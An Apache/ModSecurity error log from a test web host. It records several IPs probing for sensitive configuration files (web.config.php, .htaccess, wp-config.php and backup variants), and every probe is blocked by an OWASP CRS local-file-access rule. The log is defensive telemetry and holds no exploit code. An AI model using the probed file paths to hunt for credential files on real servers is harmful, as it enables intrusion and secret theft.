[Sun Mar 15 08:14:18.514070 2026] [:error] [pid 2708280] [client 57.131.13.107:48943] [client 57.131.13.107] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZcSnfNpnDDJw8ck1hQKgAAAAU"]
[Sun Mar 15 08:14:18.514266 2026] [:error] [pid 2708280] [client 57.131.13.107:48943] [client 57.131.13.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZcSnfNpnDDJw8ck1hQKgAAAAU"]
[Sun Mar 15 08:14:18.514417 2026] [:error] [pid 2708280] [client 57.131.13.107:48943] [client 57.131.13.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZcSnfNpnDDJw8ck1hQKgAAAAU"]
[Sun Mar 15 08:14:18.517239 2026] [:error] [pid 2708248] [client 46.246.122.100:42409] [client 46.246.122.100] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZcSgNoJq7fnUw0FhGNUgAAAAQ"]
[Sun Mar 15 08:14:18.517419 2026] [:error] [pid 2708248] [client 46.246.122.100:42409] [client 46.246.122.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZcSgNoJq7fnUw0FhGNUgAAAAQ"]
[Sun Mar 15 08:14:18.517561 2026] [:error] [pid 2708248] [client 46.246.122.100:42409] [client 46.246.122.100] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZcSgNoJq7fnUw0FhGNUgAAAAQ"]
[Sun Mar 15 08:14:20.601516 2026] [:error] [pid 2708247] [client 217.170.194.172:44061] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZcTGAJ710PJa37ZB3vkwAAAAM"]
[Sun Mar 15 08:14:20.601687 2026] [:error] [pid 2708247] [client 217.170.194.172:44061] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZcTGAJ710PJa37ZB3vkwAAAAM"]
[Sun Mar 15 08:14:20.601844 2026] [:error] [pid 2708247] [client 217.170.194.172:44061] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZcTGAJ710PJa37ZB3vkwAAAAM"]
[Sun Mar 15 08:14:27.024675 2026] [:error] [pid 2708281] [client 217.170.194.172:35317] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZcU4j6PU2DhLTOjMHABgAAAAY"]
[Sun Mar 15 08:14:27.024856 2026] [:error] [pid 2708281] [client 217.170.194.172:35317] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZcU4j6PU2DhLTOjMHABgAAAAY"]
[Sun Mar 15 08:14:27.025014 2026] [:error] [pid 2708281] [client 217.170.194.172:35317] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZcU4j6PU2DhLTOjMHABgAAAAY"]
[Sun Mar 15 08:37:42.810506 2026] [:error] [pid 2708244] [client 82.102.22.185:39977] [client 82.102.22.185] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZhxsvpIxk5lGn4VceEYgAAAAA"]
[Sun Mar 15 08:37:42.810719 2026] [:error] [pid 2708244] [client 82.102.22.185:39977] [client 82.102.22.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZhxsvpIxk5lGn4VceEYgAAAAA"]
[Sun Mar 15 08:37:42.810844 2026] [:error] [pid 2708244] [client 82.102.22.185:39977] [client 82.102.22.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZhxsvpIxk5lGn4VceEYgAAAAA"]
[Sun Mar 15 08:37:44.875051 2026] [:error] [pid 2708248] [client 82.102.22.185:35609] [client 82.102.22.185] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /0llcenxmisnfglgm9.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/0llcEnxmisNfGlgm9.htaccess"] [unique_id "abZhyANoJq7fnUw0FhGNWgAAAAQ"]
[Sun Mar 15 08:37:44.875350 2026] [:error] [pid 2708248] [client 82.102.22.185:35609] [client 82.102.22.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/0llcEnxmisNfGlgm9.htaccess"] [unique_id "abZhyANoJq7fnUw0FhGNWgAAAAQ"]
[Sun Mar 15 08:37:44.875525 2026] [:error] [pid 2708248] [client 82.102.22.185:35609] [client 82.102.22.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/0llcEnxmisNfGlgm9.htaccess"] [unique_id "abZhyANoJq7fnUw0FhGNWgAAAAQ"]
[Sun Mar 15 08:37:45.224954 2026] [:error] [pid 2708280] [client 82.102.22.185:52461] [client 82.102.22.185] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /1fdidjpuwoflmioh1z.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/1fDiDJPuwOflmIoh1z.htaccess"] [unique_id "abZhyXfNpnDDJw8ck1hQMgAAAAU"]
[Sun Mar 15 08:37:45.225888 2026] [:error] [pid 2708280] [client 82.102.22.185:52461] [client 82.102.22.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/1fDiDJPuwOflmIoh1z.htaccess"] [unique_id "abZhyXfNpnDDJw8ck1hQMgAAAAU"]
[Sun Mar 15 08:37:45.226072 2026] [:error] [pid 2708280] [client 82.102.22.185:52461] [client 82.102.22.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/1fDiDJPuwOflmIoh1z.htaccess"] [unique_id "abZhyXfNpnDDJw8ck1hQMgAAAAU"]
[Sun Mar 15 08:37:45.578259 2026] [:error] [pid 2708281] [client 82.102.22.185:36601] [client 82.102.22.185] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /ueutj4ixecot6rvuqrm.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uEutJ4IXecOt6rVuqRm.htaccess"] [unique_id "abZhyYj6PU2DhLTOjMHADQAAAAY"]
[Sun Mar 15 08:37:45.578567 2026] [:error] [pid 2708281] [client 82.102.22.185:36601] [client 82.102.22.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uEutJ4IXecOt6rVuqRm.htaccess"] [unique_id "abZhyYj6PU2DhLTOjMHADQAAAAY"]
[Sun Mar 15 08:37:45.578709 2026] [:error] [pid 2708281] [client 82.102.22.185:36601] [client 82.102.22.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uEutJ4IXecOt6rVuqRm.htaccess"] [unique_id "abZhyYj6PU2DhLTOjMHADQAAAAY"]
[Sun Mar 15 08:37:45.928453 2026] [authz_core:error] [pid 2708244] [client 82.102.22.185:50745] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sun Mar 15 08:38:30.830492 2026] [:error] [pid 2708247] [client 82.102.22.185:33431] [client 82.102.22.185] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abZh9mAJ710PJa37ZB3vqAAAAAM"]
[Sun Mar 15 08:38:30.830705 2026] [:error] [pid 2708247] [client 82.102.22.185:33431] [client 82.102.22.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abZh9mAJ710PJa37ZB3vqAAAAAM"]
[Sun Mar 15 08:38:30.830828 2026] [:error] [pid 2708247] [client 82.102.22.185:33431] [client 82.102.22.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abZh9mAJ710PJa37ZB3vqAAAAAM"]
[Sun Mar 15 08:40:35.441627 2026] [:error] [pid 2708248] [client 82.102.22.185:35747] [client 82.102.22.185] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "abZicwNoJq7fnUw0FhGNkAAAAAQ"]
[Sun Mar 15 08:40:35.441868 2026] [:error] [pid 2708248] [client 82.102.22.185:35747] [client 82.102.22.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "abZicwNoJq7fnUw0FhGNkAAAAAQ"]
[Sun Mar 15 08:40:35.441995 2026] [:error] [pid 2708248] [client 82.102.22.185:35747] [client 82.102.22.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "abZicwNoJq7fnUw0FhGNkAAAAAQ"]
[Sun Mar 15 08:40:41.792944 2026] [:error] [pid 2708248] [client 82.102.22.185:43371] [client 82.102.22.185] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "abZieQNoJq7fnUw0FhGNkgAAAAQ"]
[Sun Mar 15 08:40:41.793158 2026] [:error] [pid 2708248] [client 82.102.22.185:43371] [client 82.102.22.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "abZieQNoJq7fnUw0FhGNkgAAAAQ"]
[Sun Mar 15 08:40:41.793279 2026] [:error] [pid 2708248] [client 82.102.22.185:43371] [client 82.102.22.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "abZieQNoJq7fnUw0FhGNkgAAAAQ"]
[Sun Mar 15 09:07:41.459012 2026] [:error] [pid 2711295] [client 217.170.194.172:49533] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZozQY2Zu5JILf9IpneewAAAAc"]
[Sun Mar 15 09:07:41.459298 2026] [:error] [pid 2711295] [client 217.170.194.172:49533] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZozQY2Zu5JILf9IpneewAAAAc"]
[Sun Mar 15 09:07:41.459435 2026] [:error] [pid 2711295] [client 217.170.194.172:49533] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config.php"] [unique_id "abZozQY2Zu5JILf9IpneewAAAAc"]
[Sun Mar 15 09:07:43.355730 2026] [:error] [pid 2708280] [client 217.170.194.172:42685] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /rodqajb5ixt7alrmg.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/RoDQaJB5iXt7aLRMG.htaccess"] [unique_id "abZoz3fNpnDDJw8ck1hRUAAAAAU"]
[Sun Mar 15 09:07:43.355986 2026] [:error] [pid 2708280] [client 217.170.194.172:42685] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/RoDQaJB5iXt7aLRMG.htaccess"] [unique_id "abZoz3fNpnDDJw8ck1hRUAAAAAU"]
[Sun Mar 15 09:07:43.356114 2026] [:error] [pid 2708280] [client 217.170.194.172:42685] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/RoDQaJB5iXt7aLRMG.htaccess"] [unique_id "abZoz3fNpnDDJw8ck1hRUAAAAAU"]
